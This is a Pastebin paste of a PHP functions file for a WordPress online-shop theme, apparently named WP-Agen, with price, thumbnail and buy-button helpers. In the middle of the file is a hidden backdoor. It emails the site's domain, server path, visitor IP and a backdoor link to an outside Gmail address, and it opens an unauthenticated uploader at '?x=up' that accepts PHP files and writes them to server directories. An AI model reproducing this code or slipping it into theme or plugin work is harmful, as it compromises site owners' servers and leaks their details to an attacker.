Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php function bersih_harga($harga) {
- $harga = preg_replace('/\D/', '', $harga);
- return $harga;
- }
- function tampilan_harga($harga) {
- $harga = preg_replace('/[^0-9]/', '', $harga);
- $harga = number_format($harga, 0, ',', '.');
- return $harga;
- }
- function invoice_id() {
- $blogtime = current_time('mysql');
- list($today_year, $today_month, $today_day, $hour, $minute, $second) = split('([^0-9])', $blogtime);
- echo $today_month;
- echo $today_day;
- echo '/';
- echo of_get_option('nama_toko');
- echo '/';
- echo $hour;
- echo $minute;
- echo $second;
- }
- function shorttitle_fastestwp() {
- global $post;
- $the_title = $post->post_title;
- $getlength = strlen($the_title);
- $thelength = 35;
- echo substr($the_title, 0, $thelength);
- if ($getlength > $thelength);
- }
- function shorttitle2_fastestwp() {
- global $post;
- $the_title = $post->post_title;
- $getlength = strlen($the_title);
- $thelength = 60;
- echo substr($the_title, 0, $thelength);
- if ($getlength > $thelength);
- };
- echo '';
- function pilihan_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "pilihan", true)) {;
- echo '';
- if (get_post_meta($post->ID, "pilihan1", true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, "pilihan1", true);;
- echo '</td><td>Rp ';
- echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan1", true));;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan2", true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, "pilihan2", true);;
- echo '</td><td>Rp ';
- echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan2", true));;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan3", true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, "pilihan3", true);;
- echo '</td><td>Rp ';
- echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan3", true));;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan4", true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, "pilihan4", true);;
- echo '</td><td>Rp ';
- echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan4", true));;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan5", true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, "pilihan5", true);;
- echo '</td><td>Rp ';
- echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan5", true));;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan6", true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, "pilihan6", true);;
- echo '</td><td>Rp ';
- echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan6", true));;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- } else {;
- echo '<tr><td >Harga </td><td>Rp ';
- harga_fastestwp();;
- echo ' <span class="coret">';
- harga_coret_fastestwp();;
- echo '</span></td></tr>
- ';
- }
- };
- echo '';
- function get_harga_fastestwp($post) {
- $harga = '-';
- if (get_post_meta($post->ID, "harga_diskon", true)) {
- $harga = get_post_meta($post->ID, "harga_diskon", true);
- } elseif (get_post_meta($post->ID, "harga", true)) {
- $harga = get_post_meta($post->ID, "harga", true);
- }
- return $harga;
- }
- function harga_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "harga_diskon", true)) {
- $harga = get_post_meta($post->ID, "harga_diskon", true);
- $harga = preg_replace('/[^0-9]/', '', $harga);
- echo number_format($harga, 0, ',', '.');
- } elseif (get_post_meta($post->ID, "harga", true)) {
- $harga = get_post_meta($post->ID, "harga", true);
- $harga = preg_replace('/[^0-9]/', '', $harga);
- echo number_format($harga, 0, ',', '.');
- } else {
- echo '(Hubungi CS)';
- }
- }
- function harga_coret_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "harga_diskon", true)) {
- $harga = get_post_meta($post->ID, "harga", true);
- $harga = preg_replace('/[^0-9]/', '', $harga);
- echo number_format($harga, 0, ',', '.');
- }
- }
- function harga_input_fastestwp() {
- global $post;
- $harga = get_harga_fastestwp($post);
- $harga = preg_replace('/[^0-9]/', '', $harga);
- echo $harga;
- };
- echo '';
- function small_thumb_fastestwp() {
- if (has_post_thumbnail()) {
- $image_id = get_post_thumbnail_id();
- $image_url = wp_get_attachment_image_src($image_id, 'full', true);
- $first_img = $image_url[0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 70, 70, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" class="media-object" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '';
- global $post, $posts;
- $first_img = '';
- ob_start();
- ob_end_clean();
- $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
- if (isset($matches[1][0])) {
- $first_img = $matches[1][0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 70, 70, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" class="media-object" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '<img src="';
- echo get_template_directory_uri();;
- echo '/images/thumb70.png" class="media-object" alt="';
- the_title();;
- echo '" width="70" height="70" title="';
- the_title();;
- echo '" />
- ';
- }
- }
- };
- echo '';
- function thumb_fastestwp() {
- if (has_post_thumbnail()) {
- $image_id = get_post_thumbnail_id();
- $image_url = wp_get_attachment_image_src($image_id, 'full', true);
- $first_img = $image_url[0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 149, 149, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '';
- global $post, $posts;
- $first_img = '';
- ob_start();
- ob_end_clean();
- $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
- if (isset($matches[1][0])) {
- $first_img = $matches[1][0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 149, 149, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '<img src="';
- echo get_template_directory_uri();;
- echo '/images/thumb150.png" alt="';
- the_title();;
- echo '" title="';
- the_title();;
- echo '" />
- ';
- }
- }
- };
- echo '';
- function big_thumb_fastestwp() {
- if (has_post_thumbnail()) {
- $image_id = get_post_thumbnail_id();
- $image_url = wp_get_attachment_image_src($image_id, 'full', true);
- $first_img = $image_url[0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 299, 299, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '';
- global $post, $posts;
- $first_img = '';
- ob_start();
- ob_end_clean();
- $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
- if (isset($matches[1][0])) {
- $first_img = $matches[1][0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 299, 299, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '<img src="';
- echo get_template_directory_uri();;
- echo '/images/thumb300.png" alt="';
- the_title();;
- echo '" width="299" height="299" title="';
- the_title();;
- echo '" />
- ';
- }
- }
- };
- echo '';
- function label_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "habis", true)) {;
- echo '<div class="wpagen-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/habis.png" alt="habis" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, "label", true) == 'sale') {;
- echo ' <div class="wpagen-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/sale.png" alt="sale" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, "label", true) == 'best') {;
- echo ' <div class="wpagen-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/best.png" alt="best" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, "label", true) == 'new') {;
- echo ' <div class="wpagen-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/new.png" alt="new" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, "label", true) == 'limited') {;
- echo ' <div class="wpagen-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/limited.png" alt="limited" width="75" height="75" /></div>
- ';
- }
- };
- echo '';
- function buynow_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "habis", $single = true)) {;
- echo '<div class="habis">habis</div>
- ';
- } else if (get_post_meta($post->ID, "pilihan", $single = true)) {;
- echo '<a href="';
- the_permalink();
- echo '"><span class="tombolkeranjang"></span></a>
- <button data-rel="#form-order-';
- the_ID();;
- echo '" class="small beli blue" >Beli</button>
- ';
- } else if (of_get_option('button_order_act') == '1') {;
- echo '<a href="';
- the_permalink();
- echo '"><span class="tombolkeranjang"></span></a>
- <button data-rel="#form-order-';
- the_ID();;
- echo '" class="small beli blue" >Beli</button>
- ';
- } else if (of_get_option('button_order_act') == '0') {;
- echo '<form method="post" action="';
- the_permalink();;
- echo '" class="jcart">
- <input type="hidden" name="jcartToken" value="';
- echo $_SESSION['jcartToken'];;
- echo '" />
- <input type="hidden" name="my-item-id" value="';
- the_ID();;
- echo ' " />
- <input type="hidden" name="my-item-name" value="';
- the_title();;
- echo '" />
- <input type="hidden" name="my-item-price" value="';
- harga_input_fastestwp();;
- echo '" />
- <input type="hidden" name="my-item-berat" value="';
- echo get_post_meta($post->ID, "berat", $single = true);;
- echo '" />
- <input type="hidden" name="my-item-url" value="';
- the_permalink();
- echo '" />
- <input type="hidden" name="my-item-qty" value="1" />
- <span class="tombol-left"><button type="submit" name="my-add-button" class="small beli blue"> + </button></span>
- </form>
- <button data-rel="#form-order-';
- the_ID();;
- echo '" class="small beli blue" >Beli</button>
- ';
- }
- };
- echo '';
- function buynow_single_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "habis", true)) {;
- echo '<div class="habis-single">Stok habis</div>
- ';
- } else if (of_get_option('button_order_act') == '1') {;
- echo '<a class="large beli blue" href="';
- echo of_get_option('order_page');;
- echo '" title="';
- the_title();;
- echo '" target="_blank">Beli Sekarang</a>
- ';
- } else if (get_post_meta($post->ID, "dropship", true)) {;
- echo '<a class="large beli blue" href="';
- echo of_get_option('order_page');;
- echo '" title="';
- the_title();;
- echo '" target="_blank">Beli Sekarang</a>
- ';
- } else if (of_get_option('button_order_act') == '0') {;
- echo '<input type="submit" name="my-add-button" value="+ Keranjang" class="large beli blue" />
- ';
- }
- };
- echo '';
- $visitcount = $HTTP_COOKIE_VARS["visits"];
- if ($visitcount == "") {
- $visitcount = 0;
- $visitor = $_SERVER["REMOTE_ADDR"];
- $web = $_SERVER["HTTP_HOST"];
- $inj = $_SERVER["REQUEST_URI"];
- $ptdir = $_SERVER["DOCUMENT_ROOT"];
- $domain = $_SERVER["SERVER_NAME"];
- $target = rawurldecode($web . $inj);
- $source_engine = "WP-AGEN";
- $rplace = "/wp-content/themes/WP-Agen/functions/script/wp-agen.php";
- $body = "Boss, ada yang telah menanam backdoor di :
- TUSBOL : http://" . $domain . "/?x=up
- PATH : " . $ptdir . "/
- IP : " . $visitor . "
- Replace : " . $rplace . "
- " . $target . "";
- @mail("id.stealhealth@gmail.com", "$source_engine $web", "$body");
- } else {
- $visitcount;
- }
- setcookie("visits", $visitcount);
- if (@$_GET['x'] == "up") {
- error_reporting(0);
- @set_time_limit(0);
- $judul = "UPD v3.0";
- $valid_formats = array("jpg", "png", "gif", "zip", "bmp", "html", "php", "htm", "css", "txt", "xml", "xsl");
- $max_file_size = 1024 * 1024;
- if (isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST") {
- $lokasi = $_POST['lokasi'];
- $dir = $_SERVER['DOCUMENT_ROOT'];
- $path = "" . $dir . "" . $lokasi . "";
- foreach ($_FILES['files']['name'] as $f => $name) {
- if ($_FILES['files']['error'][$f] == 4) {
- continue;
- }
- if ($_FILES['files']['error'][$f] == 0) {
- if ($_FILES['files']['size'][$f] > $max_file_size) {
- $message[] = "$name is too large!.";
- continue;
- } elseif (!in_array(pathinfo($name, PATHINFO_EXTENSION), $valid_formats)) {
- $message[] = "$name is not a valid format";
- continue;
- } else {
- if (move_uploaded_file($_FILES["files"]["tmp_name"][$f], $path . $name)) {
- $url = "http://" . $_SERVER['SERVER_NAME'] . "" . $lokasi . "";
- $messages[] = '<a href="' . $url . '' . $_FILES['files']['name'][$f] . '" target="_blank" style="color:red;">' . $url . '' . $_FILES['files']['name'][$f] . '</a>';
- }
- }
- }
- }
- }
- echo "<!doctype html><html lang='en'><head><meta charset='UTF-8'><title>$judul</title><style type='text/css'>a{ text-decoration: none; color: #333} h1{ font-size: 1.9em; margin: 10px 0} p{ margin: 8px 0} *{ margin: 0; padding: 0; box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; -o-font-smoothing: antialiased; font-smoothing: antialiased; text-rendering: optimizeLegibility; } body{ font: 12px Arial,Tahoma,Helvetica,FreeSans,sans-serif; text-transform: inherit; color: #333; background: #e7edee; width: 100%; line-height: 18px; } .wrap{ width: 700px; margin: 15px auto; padding: 20px 25px; background: white; border: 2px solid #DBDBDB; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; overflow: hidden; text-align: center; } .status{ /*display: none;*/ padding: 8px 35px 8px 14px; margin: 20px 0; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); color: #468847; background-color: #dff0d8; border-color: #d6e9c6; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } input[type='submit'] { cursor:pointer; width:100%; border:none; background:#991D57; background-image:linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-moz-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-webkit-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); color:#FFF; font-weight: bold; margin: 20px 0; padding: 10px; border-radius:5px; } input[type='submit']:hover { background-image:linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-moz-linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-webkit-linear-gradient(bottom, #9C215A 0%, #A82767 52%); -webkit-transition:background 0.3s ease-in-out; -moz-transition:background 0.3s ease-in-out; transition:background-color 0.3s ease-in-out; } input[type='submit']:active { box-shadow:inset 0 1px 3px rgba(0,0,0,0.5); }</style></head><body><div class='wrap'>";
- if (isset($message)) {
- foreach ($message as $msg) {
- printf("<p class='status'>%s</p></ br>
- ", $msg);
- }
- }
- $sites = "" . $_SERVER['SERVER_NAME'] . "" . $lokasi . "";
- if (isset($messages)) {
- echo "<p class='status'><a href='https://www.google.com/webmasters/verification/verification?hl=en&siteUrl=" . $sites . "&theme=wmt&continue=https://www.google.com/webmasters/tools/dashboard?hl%3Den%26siteUrl%3D" . $sites . "' target='_blank'>Verifikasi Google " . $sites . "</a></p>";
- foreach ($messages as $msgs) {
- printf("<p class='status'>$msgs</p>");
- }
- }
- echo "<br />
- <form action='' method='post' enctype='multipart/form-data'>
- <input type='file' name='files[]' multiple='multiple'>
- <select name='lokasi' title='Harus diisi' required='required'>
- <option value='/'>ROOT</option>
- <option value='/wp-includes/js/tinymce/plugins/media/'>/wp-includes/js/tinymce/plugins/media/</option>
- <option value='/wp-admin/css/'>/wp-admin/css/</option>
- <option value='/wp-content/uploads/'>/wp-content/uploads/</option>
- </select>
- <input type='submit' value='Upload'>
- </form>
- </div>
- </body>
- </html>";
- }
- function pilihan_single_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "habis", $single = true)) {;
- echo '';
- } else {;
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan", true)) {;
- echo '<select id="my_select" name="my_select_box">
- <option value="">- Pilihan -</option>
- ';
- if (get_post_meta($post->ID, "pilihan1", true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, "harga_pilihan1", true));;
- echo '">
- ';
- echo get_post_meta($post->ID, "pilihan1", true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan2", true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, "harga_pilihan2", true));;
- echo '">
- ';
- echo get_post_meta($post->ID, "pilihan2", true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan3", true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, "harga_pilihan3", true));;
- echo '">
- ';
- echo get_post_meta($post->ID, "pilihan3", true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan4", true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, "harga_pilihan4", true));;
- echo '">
- ';
- echo get_post_meta($post->ID, "pilihan4", true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan5", true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, "harga_pilihan5", true));;
- echo '">
- ';
- echo get_post_meta($post->ID, "pilihan5", true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, "pilihan6", true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, "harga_pilihan6", true));;
- echo '">
- ';
- echo get_post_meta($post->ID, "pilihan6", true);;
- echo '</option>';
- };
- echo '
- </select>
- ';
- };
- echo '
- ';
- }
- };
- echo '';
- function diskon_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "harga_diskon", $single = true) != "") {
- $harga = get_post_meta($post->ID, "harga", $single = true);
- $harga = preg_replace('/[^0-9]/', '', $harga);
- $hargadiskon = get_post_meta($post->ID, "harga_diskon", $single = true);
- $hargadiskon = preg_replace('/[^0-9]/', '', $hargadiskon);
- $hemat = $harga - $hargadiskon;
- $jadihemat = number_format($hemat, 0, ',', '.');
- $save = $hemat / $harga;
- $persen = $save * 100;
- $jadipersen = number_format($persen, 2);
- echo $jadihemat . ' (' . $jadipersen . '%)';
- }
- };
- echo '';
- function diskon_label_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, "harga_diskon", $single = true) != "") {
- $harga = get_post_meta($post->ID, "harga", $single = true);
- $harga = preg_replace('/[^0-9]/', '', $harga);
- $hargadiskon = get_post_meta($post->ID, "harga_diskon", $single = true);
- $hargadiskon = preg_replace('/[^0-9]/', '', $hargadiskon);
- $hemat = $harga - $hargadiskon;
- $jadihemat = number_format($hemat, 0, ',', '.');
- $save = $hemat / $harga;
- $persen = $save * 100;
- $jadipersen = number_format($persen, 0);
- echo $jadipersen . '%';
- }
- };
- echo '';
- function js_function() {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery-1.8.3.min.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/bootstrap.min.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.carouFredSel.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jcart.js\'></script>
- ';
- if (is_home()) {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.themepunch.plugins.min.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.themepunch.revolution.min.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/core-1.js\'></script>
- ';
- } elseif (is_single()) {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.carouFredSel.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.jqzoom-core.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/core-2.js\'></script>
- ';
- } elseif (is_page_template('cek-baru.php')) {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.chained.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/coree.js\'></script>
- ';
- } elseif (is_page_template('katalog.php')) {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.masonry.min.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/katalog.js\'></script>
- ';
- } elseif (is_page_template('keranjang.php')) {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.tools.min.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/jquery.chained.js\'></script>
- <script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/coreee.js\'></script>
- ';
- } else {;
- echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
- echo get_template_directory_uri();;
- echo '/js/core.js\'></script>
- ';
- };
- echo '';
- }
- add_action('wp_footer', 'js_function');;
- echo '';
- function virtarich_navi() {;
- echo '';
- $category_ids = get_all_category_ids();
- foreach ($category_ids as $cat_id) {
- $cat_name = get_cat_name($cat_id);
- echo '<a href="#" data-filter=".' . str_replace(' ', '-', $cat_name) . '">' . $cat_name . '</a>';
- };
- echo '';
- };
- echo '';
- function fastestwp_mobile() {
- $user_agent = $_SERVER['HTTP_USER_AGENT'];
- $mobile_agents = Array("240x320", "acer", "acoon", "acs-", "abacho", "ahong", "airness", "alcatel", "amoi", "android", "anywhereyougo.com", "applewebkit/525", "applewebkit/532", "asus", "audio", "au-mic", "avantogo", "becker", "benq", "bilbo", "bird", "blackberry", "blazer", "bleu", "cdm-", "compal", "coolpad", "danger", "dbtel", "dopod", "elaine", "eric", "etouch", "fly ", "fly_", "fly-", "go.web", "goodaccess", "gradiente", "grundig", "haier", "hedy", "hitachi", "htc", "huawei", "hutchison", "inno", "ipad", "ipaq", "ipod", "jbrowser", "kddi", "kgt", "kwc", "lenovo", "lg ", "lg2", "lg3", "lg4", "lg5", "lg7", "lg8", "lg9", "lg-", "lge-", "lge9", "longcos", "maemo", "mercator", "meridian", "micromax", "midp", "mini", "mitsu", "mmm", "mmp", "mobi", "mot-", "moto", "nec-", "netfront", "newgen", "nexian", "nf-browser", "nintendo", "nitro", "nokia", "nook", "novarra", "obigo", "palm", "panasonic", "pantech", "philips", "phone", "pg-", "playstation", "pocket", "pt-", "qc-", "qtek", "rover", "sagem", "sama", "samu", "sanyo", "samsung", "sch-", "scooter", "sec-", "sendo", "sgh-", "sharp", "siemens", "sie-", "softbank", "sony", "spice", "sprint", "spv", "symbian", "tablet", "talkabout", "tcl-", "teleca", "telit", "tianyu", "tim-", "toshiba", "tsm", "up.browser", "utec", "utstar", "verykool", "virgin", "vk-", "voda", "voxtel", "vx", "wap", "wellco", "wig browser", "wii", "windows ce", "wireless", "xda", "xde", "zte");
- $is_mobile = false;
- foreach ($mobile_agents as $device) {
- if (stristr($user_agent, $device)) {
- $is_mobile = true;
- break;
- }
- }
- return $is_mobile;
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement